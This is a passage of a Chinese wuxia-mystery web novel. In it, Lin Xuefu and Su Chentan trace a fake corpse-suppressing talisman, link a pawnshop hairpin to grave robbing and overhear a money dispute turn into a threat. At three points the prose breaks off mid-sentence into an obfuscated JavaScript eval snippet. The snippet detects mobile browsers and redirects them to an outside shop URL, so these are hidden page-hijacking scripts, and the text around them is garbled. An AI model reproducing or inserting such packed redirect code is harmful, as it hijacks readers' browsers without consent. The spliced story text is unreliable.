“这么说吧。”茱萸微微笑着,“小时候,我刚入门的阶段,功夫非常粗浅,但学点什么都要去找她显摆。有一天又捡了一根树枝,跑到她面前挑衅。她非常生气,冲我打了一套拳。那套拳法有十八式。前十七式,她连我的衣角都没有碰到。” “那第十八式呢?”苏沉檀问。 “打到树上打疼了自己的手。”茱萸回答道。 她自顾自笑了一会,突然正色道:“别说是我告诉你的。” 苏沉檀却说:“除了你还能有谁。” “这个嘛,郑初乾也在场啊。”茱萸说,“不过你这份对我和雪拂情谊的肯定,我很欣赏。” 苏沉檀没有说话。 “等你想起来,也告诉我几件她小时候的傻事吧。”茱萸兴致勃勃地说,“我可以跟你交换。” 又一个人这么说。为什么她们都认为他失去的那段记忆与林雪拂有关? “你们想让我恢复记忆。”苏沉檀缓声道,“因为这对你们会有好处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588983|143196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 茱萸的神情沉静下来:“我猜你想用在这里的词是,帮助。你恢复记忆对她会有帮助。” 这就是林雪拂留他在南花梨巷的原因?为了让他恢复记忆? 她又怎么能肯定他的记忆对她有帮助、并且会愿意帮她? 他记得有一天睡醒,看到床前陌生的女人,虽然理智上知道是自己的母亲,情感上却感到强烈的违和。 住处也是,仿佛有人告诉他这是他的房间,他的桌子,他的书。他却没有丝毫亲近和熟悉。 面对镜子,他知道那是自己,但感觉不是自己。 母亲说他被仇人绑架,救回来时瘦骨嶙峋,发着高热。 他却完全不记得了。问起年号,才发现失去了一年的记忆。 母亲对他隐瞒了什么吗? 谁说了谎? “为何林雪拂自己从未对我说过?” “她可能是,”茱萸站起身,擦了擦手上杏子的甜汁,“不想让你骄傲吧。” 林雪拂一觉睡到黄昏时分,潦草地吃了点东西,决定在城里到处走走。出门前想了想,叫上了苏沉檀。 华灯错落,纵横的长街店铺林立,贩售各类绣品、皮货、药材、木器。 再向南走,便是到深夜仍热闹着的茶会、书场、浴堂、歌楼的集聚地。 林雪拂没看到想找的东西,走累了就回去了。 接下来两天,苏沉檀都陪她在城里乱转。但毫无进展。在一家道观,她可能是觉得没有线索也别白来一趟,还捐了点香火钱许愿。 许了愿出来,林雪拂无精打采地说:“回家吃饭。” 但回去的路上又顺带进了一家店。 她走进这里,完全是出于几日间努力逛街的惯性,连门口的招牌都没看清。 回过神才发现,身边的货架上堆满了牛马车轿、童男童女。 都是纸扎的,烧给死人的。 她定定地望着一处:“老板,你这里贴的什么?” 老板正埋头在一大本账簿上写字,抬头看了一眼:“符啊。” 这张符的质地和她捡到的那张几乎一致,这是几天来从未有过的。 林雪拂压抑着激动的心情:“什么符?” “招财的嘛。” “……”林雪拂心情跌落,但还是说,“哪里来的?” 来到冥器铺老板指示的小摊,果然见到摆了满地的符纸。仔细一看,符纸只是其中一部分,更多还是画轴、黄历、春联一类的东西。 有一些画轴单独放在一个带盖的竹筐里,林雪拂捡起一个打开。 上面绘的是春宫图。 “哎哎,”摊主还叫她,“买了才能看啊。” 她无语地把卷轴放了回去:“老板,打听一下,这些符是谁画的?” “一位德高望重的大师。”摊主庄重地说,“包管你财运亨通。” “都是招财的吗?”林雪拂想起一些传说,大发横财而遭到反噬什么的,“会不会有副作用?” “放心吧,副作用没有。”身边传来一个声音,“不过正作用也没有。” 林雪拂抬头,看见一双琥珀色的眼睛。 贺兰殊笑意盈然地望着她:”林姑娘要用符别在这儿买,画的没一个对的。” 摊主表情悻悻的,倒没有反驳。 见贺兰殊对符纸熟稔于胸的样子,林雪拂心念一动,将他拉到了一边。 “这张你认不认识?” 贺兰殊的目光从自己被她的手牵过的那一片衣袖上挪开,落到纸面上:“认识。” 说完粲然一笑:“我们去前面的茶馆慢慢讲吧。” 林雪拂实在饿了:“不如去饭馆。” 贺兰殊从善如流道:“悉听尊便。” 林雪拂回身叫苏沉檀一起。 “原来苏少侠也在。”贺兰殊像是才留意到苏沉檀的存在一样,“遇到林姑娘太高兴了,没看见你,实在抱歉,不介意吧?” 8. 第8章 不知道贺兰殊在得意什么,看不出来林雪拂只想利用他获取消息吗? “不介意。”苏沉檀不冷不热地说。 他们进了一家临江的酒楼,贺兰殊看着菜单,问林雪拂平常喜欢吃什么,不喜欢吃什么,吃不吃辣,吃不吃芹菜,等等,数不清的问题。 好容易点完了菜,贺兰殊又说这几天自己做了一只木雕狐狸,想给她看,但每次去拜访她都不在。 林雪拂说是因为发现桑州好多地方还没去过,所以最近都出门在城里玩。 贺兰殊就表示自己对桑州城很熟悉,最近也没什么事情做,很乐意带她观光。 这么东拉西扯到菜都上齐了还没进入正题,林雪拂索性专心吃饭了。 贺兰殊也吃了一点,随后便很愉快似的看林雪拂吃,见缝插针地推荐说这道是这家厨子的拿手菜,那道是时鲜的特色菜,席间基本全是他在说话。 又是鼓楼北边有家酒栈酿的桂花醪最是地道,又说夜市上的梅子姜品质大不如前了,哪位说书人精彩,哪家粮店遭了贼……显示了对桑州情况的了如指掌。 苏沉檀没动筷子,只喝杯中冒着白气的茶水。 林雪拂吃得差不多了,听他还在漫无边际地说着,打断道:“那么哪天贺兰公子有空,带我也去领略一下那个,”她回想了一下对方提过的景点,“金雀台?” 贺兰殊眼神明显亮了一下:“林姑娘要我作陪,自然是哪天都有空的。只是……” 林雪拂始终听不到感兴趣的内容,已经有点不耐烦了:“只是什么?” 贺兰殊说:“我不姓贺兰。单姓一个贺字。” “……抱歉。”林雪拂又舀了一勺这家大厨的拿手菜之鸡蓉酿豆腐以掩饰尴尬。 “不必介怀。”贺兰殊反而安慰她,“是我的名字本就易生误解。”他很快转移了话题,“林姑娘的那张符,可否再借我一观?” 终于兜完圈子了,林雪拂欣慰,拿出来递给了他。 “这一符篆派系本就几近失传了,这张更是不常见呢。”贺兰殊展开仔细看了,道,“不知林姑娘从何处得来?” “捡的。”林雪拂实话实说。 “嗯……”贺兰殊说,“这是张镇尸符。” 林雪拂和苏沉檀交换了一个眼神。 “这符,灵验吗?”林雪拂问。 “怎么会灵验呢。”贺兰殊将符纸自桌面推还给她,“画得都不对啊。和刚才小摊上那些半斤八两吧。” “可能是同一个江湖骗子的手笔。”他又补充道。 从酒楼里出来,原先的小摊已经不见踪影。 “溜得倒快。”林雪拂喃喃道,“不会是摊主自己画的吧。” “找她出来问问?”贺兰殊热心道。 “改日吧。”林雪拂过河拆桥地说,“我们先回了,今天多谢。” 听见“我们”二字,贺兰殊看看她又看看苏沉檀,声音有些低落:“好。” 与贺兰殊分别后,转过两条街,苏沉檀说:“要不要去找那个摊主?” 林雪拂兴致缺缺地说:“找到也没用吧。” 那摊主一天卖那么多自己也不知道是真是假的东西,买这张符的人很可能也是稀里糊涂的。 其实,林雪拂隐隐感觉,自己已经从这张符纸上触及了需要的东西。 但是,像隔着一层茫茫的夜雾,具体是什么却分辨不清。 她在家待了一天,吃了四只桃,什么也没思索出来。第二天,一早又去敲苏沉檀的房门。 “干什么?”苏沉檀以为她会消停一段时间的。 林雪拂说:“去看看街上有没有奇怪的人。” 苏沉檀盯着她戴的绣着一只很小的小狗的面纱,心里想:你就是这个街上最奇怪的人。 出了门走到街上,苏沉檀站住了,问她:“哪个方向?” 林雪拂思考了一下:“随便选一个吧。” 苏沉檀:“……” 路过一个极为破败的街区时,林雪拂盯着一间低矮、窗户挂着几近脱落的竹帘、顶上盖着苇席的屋子,说:“我小时候偷跑出去想闯荡江湖,住的那家旅店就有这么破,睡到一半床塌下来了。” “人没有事吧。”苏沉檀说。 “身体没什么问题。”林雪拂说,“心里有点创伤。” “向旅店索赔了吗?”苏沉檀问。 “索赔?”林雪拂说,“没被反咬一口就不错了。” 苏沉檀颔首:“哦,怪你把床睡坏了是吧。” 林雪拂一下笑了。 她笑得懒困的春光都变得浓郁了一些。苏沉檀就是在这个笑容里,第一次领会到桃花潭水深千尺的意境。 他意识到自己也是笑着的。而后收敛了表情。 转过街是一座独门独户的房子,虽然看上去同样陈旧、落魄,却是附近最为高大和规整的。 林雪拂走进去。里面像是一个杂货店,昏暗而拥挤,有一股樟脑与金属的味道。 墙边一把交椅上坐着一名老人,满头白发,皱纹很深,垂头打着瞌睡。 陈列着的皮袄、绒帽、骨牌、手杖……莫名显得无声无色,仿佛永世遗落的影子。 林雪拂一一看过去,在一支青色的步摇前面站住了。 “怎么了?”苏沉檀问道。 “这个式样很少见……但我在哪里见过的。”林雪拂的声音轻得像是怕惊扰到栖息在铺子里的鬼魂似的。 “哪里?” 林雪拂抬眼看他,带着一种无辜的神色:“想不起来了。” 苏沉檀:“……” 苏沉檀:“不是从你师傅那里?” 林雪拂说:“不是。”听上去不太高兴。 她想要找个题目向店主搭话。这句话应该既展现出她的兴趣,又能自然地衍生后续。既引起注意,同时又平易可亲。 于是她说:“老掌柜,这个多少钱?” 老人不知什么时候已经醒了,慢吞吞拄着拐杖站起来,走进柜台后面。 “类似这样的步摇,我从来没有看人戴过。”说完,林雪拂自己都愣了一下。 她从来没有看人戴过。 因为她看到的那支,和其他华贵饰品一起,只是被安静收藏着。 在灯烧月银楼的暗格里。 老人从身后壁橱拿出一本厚厚的蓝皮册子,放到台面上摊开,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588984|143196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正中几页翻过去、翻回来,食指比着一行行的字找了半天,然后说了一个价目。 纸面翻动间,林雪拂看见册子前半,一串按、押的明细记录。 这家店以前是个当铺。 “这个步摇,最初是被典质在这里的吗。”林雪拂问道。 老人指了指自己的耳朵,朝林雪拂摆了摆手。 “您耳朵不好?”她解读道。 老人点头。 林雪拂质疑:“这句怎么听见了?” 老人一怔,而后突然笑了,白发都跟着颤动起来。 “上了年纪,精神不比从前。话说多了劳神。”她回答道。 “原来是这样。”林雪拂说,“还以为您是不愿意回答我的问题。” 老人又笑,皱纹越发显得深了:“这里的东西,都是多年没人赎的。去年我没银子花了,这才清点出来。” 林雪拂说:“这个样子这么特别,也没有人来赎吗?” 老人将那支步摇从柜台里拿出来打量了一下,又递给了林雪拂:“模样怪是怪了点,不值几个钱。” 作为卖家,这话说得很实在。 怪不得会缺银子花。 “而且,不太吉利的嘛。”老人看了她一眼,“小姑娘年纪轻轻,还是不戴的好。” “啊。”林雪拂接过步摇的手顿了一下,“这话怎么讲。” “缀的这个垂饰,你这么着看。” 林雪拂转了个方向。 “看出什么没有?” “没有。” 老人恨铁不成钢道:“你这么着看,这么着。像个什么?” 林雪拂茫然:“什么?” 倒是一直立在一旁的苏沉檀开口道:“一盏灯。” “对喽。”老人赞许地看他一眼,“说是草藤灯,照的黄泉去路。” 林雪拂心脏一震。 老人说着顾自把步摇从她手里拿了回来,似乎已经不打算做她这笔生意:“前朝的纹样,现在没人用了。也没这个说法了。” 后面老人又说了什么,林雪拂几乎没有印象。 答案突然被照亮。带着一瞬针刺般的寒意—— 以草藤灯纹饰的珠宝,是陪葬的礼器。 孙丰策不为人知的第二重身份,是盗墓贼。 是的,这就是他银楼里那些被藏起的物件的来源:一座或者几座前朝的坟陵。 师傅的桃木盒子,也曾被存放在里面吗。 如果是这样,孙丰策和师傅可能并没有过直接的接触。 林雪拂的脑海中浮现出一个画面:一个盗墓贼,想方设法潜入了一座机关重重的陵坟。他以为这趟冒险带来的将是巨大的财富,尾随而来的却是无尽的麻烦。 也许他带走那方桃木盒只是顺手。也许他喜悦被冲昏了头脑,只是胡乱把一些东西扫进背囊,具体有什么都没有注意到。 他满载而归,以为自己做的天衣无缝。 但将盒子放进陵墓的人没有善罢甘休。 盗墓者行动之前,必定会进行许多准备与勘查。保不准哪天上山的路上被人见过。 总之,他回到桑州城不久,有人就找上门来。 9. 第9章 这也解释了孙丰策为什么会想要试探她,以及为何终日躲在门后偷看。 “因为他被逼迫交还桃木盒,而实际上已经没办法交还,性命受到威胁,所以每天提心吊胆,有些慌不择路吧。” 林雪拂照旧和茱萸在糖水铺碰面,试图梳理思路。 茱萸听了她的推理,说:“不管怎么样,他人还是挺聪明的。” 将盒子放进陵墓的人只追查到这一步吗。 那天在猎场林中,向她射出一箭的人又是谁呢? 在苏沉檀现身后,那人便不再追击了。 说明,那人要么武功一般,只敢在暗中下黑手。要么,那人不愿冒险暴露自己的身份。 “你的意思是,是我们认识的人?” 林雪拂不知道。 那人偷袭,是针对她,还是仅仅因为她在错的时间出现在了错的地点?换言之,对的时间,对的地点。 后面它又不偷袭了,因为她并没有找到指向真相的直接证据? 有人将盒子放进一座墓里。那人是谁,和师傅有什么关系,为什么这么做? “这样一点点想也太费命了,明明有捷径为什么不走。”茱萸说,“打开盒子看一看就什么都知道了。” 林雪拂面无表情道:“因为捷径的门上有锁。” “你不是很会开锁的吗。”茱萸说,“苏沉檀的记忆有进展没有?” “好像没有。”林雪拂想起对方不见成效的建议,已经有些动摇了,“你出的主意靠谱吗?” “怎么就知道怪我的主意不靠谱。你不如问问自己有没有努力。”茱萸说。 “努力了。”林雪拂说,“每次出门探索我都有叫他。” 茱萸用看一块扶不上墙的烂泥一样的眼神看着她,叹了口气。 离开糖水铺前,林雪拂多要了一份甜品带走。是清透爽沁的雪沙,浇了红石榴汁。 回家正好在门口遇到来找她的郑初乾,给她带了上次她说好喝的桂花米酒,又问她上次受的伤有没有好些了。 明明她隐瞒了自己受伤的事,那天直接从猎场收拾了东西回城,郑初乾又是从哪里听说了。 林雪拂打开门,一边问:“茱萸告诉你的?” 郑初乾点头,随她进去。 “小伤。早就没事了。”她说。 “那就好。”郑初乾说,“我买了点药。虽然,以你的医术,应该用不到。” 他把一个小的药盒放到桌子上。 林雪拂在这里住了一段时间,房子里面已经变得很丰富、舒适,充满生活痕迹。 墙面温润,悬一幅茶花初雪图。窗前垂了棉布遮帘,一角燃着苏合香。椅子上散落几个蓬松的靠枕,软榻上堆着纱衾。桌上有一捧新鲜带露的龙胆桔梗,不是插在瓶里,就那么横放着。旁边有一把珐琅茶壶。再旁边是一本倒扣的书。 郑初乾正要坐下,发现这把椅子上也有一本夹着书签的词集。他把词集挪开,这才落座。 林雪拂垂眼,药盒上面的标记,表明它出自桑州一个有名的药堂。 “我做的药也能卖到这么贵就好了。”她向往地说。 “那不是很简单。我可以帮你开家药堂。”郑初乾说,“如果你愿意的话。” 林雪拂摇头:“算了。” “看吧,你只是不想罢了。”郑初乾说,“当初你师傅也是,赚钱上面一点不肯花心思。” “因为师傅有高尚的情操。”林雪拂说,“被你说的好像什么重大的缺点一样。” 郑初乾确实是这么想的:“那也没必要那么牺牲生活质量吧。你记不记得那个兔子鞋的事?” “什么兔子鞋?” “就是有一年元宵,我们几个张罗着去看焰火,你要穿一双兔子鞋。” “然后呢?”林雪拂有一点印象。 “好不容易找出那双鞋,其中一只上面的毛线兔子已经掉下来了。”郑初乾说,“你去跟师傅说了,师傅说她来解决。我以为她要给你买一双新的。结果她拿了一罐粘胶来。” 想想就好笑,林雪拂说:“老人家节俭惯了。” “结果那个粘胶也放得太久用不了了。”郑初乾继续道,“她就出门了。” “去买新鞋?” “我也是这么以为的。”郑初乾说,“结果过了一会她回来,买了一罐新的粘胶。” 林雪拂笑了一会,替师傅说话:“毕竟不是每个人都能像你一样有钱嘛。” 郑初乾说:“我赚钱也是为了让身边的人更加幸福。” 他们同时安静了一下。 随后,郑初乾拿出一枚信封:“庚辰日的泛舟会,这是请帖。傍晚才开始,不会很晒的。” 林雪拂看了一眼上面的名字:“那天我不一定有空。” “青尘派有个堂主会来。”郑初乾像是没听到一样,“青尘派你听过的吧,上次那个死者的门派。说是来参加游湖,我估计也醉翁之意不在酒。” 林雪拂立刻双手接过请帖:“我们这交情,没空也得去。到时候见。” 郑初乾回去后,她拿着请帖去给苏沉檀看。敲了几下房门,无人来应。 她正要走,注意到门是虚掩的。 林雪拂推开一点,见苏沉檀在桌边坐着,聚精会神地读一本棋谱。 和其他屋子不同,这个房间看上去清清冷冷,什么装饰都没有。 “你三天后有时间的吧?”她问道。 苏沉檀转过头,淡道:“什么?” “游湖会。”虽然不在一个房间,但以他的耳力,应该都听见了才是。 “你需要我去?”苏沉檀说。 林雪拂觉得这个问法很奇怪。但她只说:“要。” 苏沉檀把目光转回棋谱,说:“有时间。” 林雪拂也顺着他的视线看棋谱,叫他的名字:“苏沉檀。” “嗯?” “你,书拿反了。”她诚恳地说。 苏沉檀下意识将手中书本合上,脊背挺得更直了:“还有什么事么?” “没有。”林雪拂顺手把沙冰放下,“今天和茱萸出去吃了这个沙冰,很好吃。” 她说完就走了,不忘把他的房门带上。 盛沙冰的玻璃碗外壁微微沁出细小水珠。苏沉檀看了一会。 林雪拂给的冰沙。 他不想吃。 但是,就这么放着的话,会化的。 几秒钟后,苏沉檀拿起了糖水铺附赠的小小木头勺子。 游湖会那天,林雪拂到的很晚。夜幕已经落下,湖边停着一座灯火通明的画舫。另有几艘船蓬都没有的木舟,桨叶缓缓撞开水波。 大船上的众人见她走在岸边,纷纷热情招呼,更有几人直接要下船来迎。 依林雪拂的意思,自然是想上小船。但她此行不是为了玩,便是没人邀请,她也要挤到大船上去。 风吹过来,船尾的灯笼摇晃不定。 林雪拂思绪刹那飞远。有一瞬间,林雪拂的心在胸腔里如同疯掉的兔子一般横冲直撞,身体行动的感觉仿佛牵引一具生硬的木偶。 但几乎是立刻,她知觉恢复过来,吹灭玻璃灯里的蜡烛,抓住了身侧的人的手腕。 苏沉檀本想迅速自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588985|143196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后门出去,但从被握住的手上传来了相反的力道。 他夜能视物,只见拉着他的人睫毛颤了颤,朝他轻轻摇了摇头。 可以听到挂锁拉开时磕到门板的声音。 他只好顺着她拉拽的方向靠近了木质楼梯。 门扇“嘎吱”一响,恰好重合并掩盖了苏沉檀踏上台阶的轻微声响。 楼梯的转角遮住了门口来人的视线,但苏沉檀当即察觉年久变形的楼梯会发出响声,反手扯住林雪拂,提气纵上了二楼。 从脚步推断,走进来的是两个人。其中一个停在橱边,点亮了一盏油灯。 火光把楼上的黑暗也撕开一角。 苏沉檀示意:可以从窗子出去。 林雪拂却要往墙角方向走。那里立着一台对开衣柜。 苏沉檀眉角一抽,不会是要他钻进去吧? 那座楼梯的台阶又在发出咯吱咯吱的呻吟,听起来正有人一前一后地上楼。 她拉开柜门,将苏沉檀一同拽了进去,回身从里面把柜门合上。 柜子不是太宽,他们靠得很近,苏沉檀闻到的樟脑味道也渐渐被橙子的味道替代。 明明以他的身手,就算被发现了也可以一走了之,不会有人拦得住。现在却非常上不了台面地藏在这种地方,传出去一世英名就毁了。 或许就是这个原因,让他的心跳一下重过一下。 那两人走上楼来,将手中提的箱子放在桌上打开。 “都在这里了。”一个略细的男子声音说。 “都在这里了?”另一人重复道,然后说,“不止吧。” 一阵沉默。 “记过账的,您要是有疑心尽管去查。”先前的声音说。 “这套对我没用。”另一人嗤笑,“我长得这么像傻子?” 更长的沉默。 略细的声音迟疑道:“那,您怎么样才会信呢?” “我怎么样?是你想怎么样吧,朱老板?”另一人说,“连本金都给我贪了,看不出你胃口这么好。” “不是这样的,话不能这样讲呀。”被称作朱老板的人叹了口气,“我是和您一起做生意,不是向您借款。当初说好的,盈利平分,亏本自负。天下哪有稳赚不赔的买卖呢?您也是明事理的人。” “稳赚不赔的买卖,我看你就正做着呢。”另一人冷笑道,“难度不高,只需要掌握一点做账的技巧。” 朱老板以一种紧张而哀求的声音道:“我全都是照实写的,这年头哪行都不好做,您也体谅体谅我的难处。” “不见棺材不落泪的东西,少装模作样了。这么爱属于别人的钱,就拿你自己的命来换吧。” 偷听的林雪拂和苏沉檀都以为他说到这里就要动手,那人却只是转身下楼,走到门口又停住,语气毫无波澜:“三天之内,倘若少了的钱没有识相地回来,朱老板走夜路时,就得格外小心了。” 留下的人没有作声,默默把桌上的东西收拾起来,拎了下去。 脚步声。灯芯熄灭的“嘶”声。重新锁门的声音。 林雪拂和苏沉檀终于从空气越来越稀薄的柜子里钻了出来。 苏沉檀脸色难看,回去的路上一言不发。 到底为什么有人会用橙子的熏香呢? 他想着这个问题,直到走至南花梨巷巷口,林雪拂被地上突起的树根绊了一下,一只还带着青翠叶子的橙子从衣袋里滚了出来。 橙子骨碌碌越滚越远,林雪拂追了两步,一只骨节清晰的手却在她之前将黄澄澄的橙子捡了起来。 她在黛紫色的天光里分辨着眼前人的相貌。